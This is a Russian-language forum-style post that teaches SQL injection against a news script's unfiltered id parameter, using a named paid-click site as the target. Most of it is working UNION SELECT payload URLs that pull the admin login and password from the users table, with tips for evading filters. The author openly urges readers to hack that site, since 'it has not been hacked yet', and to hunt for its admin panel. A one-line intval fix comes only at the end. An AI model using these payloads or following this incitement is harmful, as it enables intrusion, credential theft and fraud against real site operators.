SQL инъекция в новостях с комментариями

Разберём суть бага…У многих в скриптах не фильтруется передаваемый параметр id.

Пример: http://5b-u-x.com/news.php?id=pezdec

Как узнать, есть ли возможность запилить у вас инъекцию?
Идём по адресу новости любой существующей (id — это номер в ссылке на полную новость).

Пример: http://5b-u-x.com/45-new.html -> превращается у нас в http://5b-u-x.com/news.php?id=45

Теперь проверим возможность на проведение инъекции:
http://5b-u-x.com/news.php?id=45\’ (в конце просто добавили кавычку, если с одной не канает — тыкаем двойную)

Итак, наш результат: нету сообщения, мол новости не существует и при этом мы видим пустую страницу. В нормальных случаях мы бы увидели ошибку в синтаксисе запроса, в нашем же — вывод ошибок отключён, но тем не менее текстового вердикта, мол id новости неправилен — мы не видим.

Давайте этим воспользуемся. Идём в гугл, набираем запрос вида: \»antichat.ru полный FAQ SQL инъекции\» и читаем. Если хоть немного шарим в SQL запросах, то поехали…

Итак, разберёмся в коде файла, у нас есть запрос, который достаёт инфу о новости:

SELECT * FROM tb_news WHERE id='$newid'


* — значит берёт всю инфу из всех строк.

Теперь глянем в структуру таблицы tb_news, полей там 4:
— date;
— id;
— newstext;
— tema.

Немного модернизируем нашу ссылку: http://5b-u-x.com/news.php?id=0\’ UNION SELECT 1,2,3,4 — (после — пробел обязателен, можно также вставить # или /*)

id=0 выбрал id специально несуществующей новости, в противном случае ничего не получится. Цифры 1,2,3,4 специально проставлены для нумерации порядка, чтоб вбить запрос в \»битые поля\». Наш результат — мы видим цифры 2 и 3.

Давайте продолжать модернизировать линк: http://5b-u-x.com/news.php?id=0\’ UNION SELECT 1,(SELECT username FROM tb_users WHERE user_status=\’admin\’),(SELECT password FROM tb_users WHERE user_status=\’admin\’),4 — (опять же пробел)

И что мы видим? Логин и пароль админа, а дальше можно начинать действовать, уж дальше ума много не надо.

1. В статью я не стал расписывать почему и зачем нужны кавычки. Нет смысла — тут многие тугодумы начнут тупо флудить.
2. Букс для примера ещё не был взломан, дерзайте. Там тяжко продумать как его накрутить, ибо админка спрятана.
3. Там автовыплаты, макс.сумма — 15 рублей/раз в сутки. Так что лучше ищите админку.
4. Если на буксе жертве при попытке составить запрос ничего не получается — попробуйте пробелы заменить на + или на /**/

Фикс:
В файле news.php меняем:

$newid=$_GET[id];


На:

$newid=intval($_GET[id]);


Все.

Автор публикации

не в сети 13 лет

Alex

Комментарии: 0Публикации: 166Регистрация: 19-02-2011

Понравилась статья? Поделись в соц. сетях:

Похожие новости

Отправить комментарий

wpDiscuz
Авторизация
*
*
Регистрация
*
*
*
Генерация пароля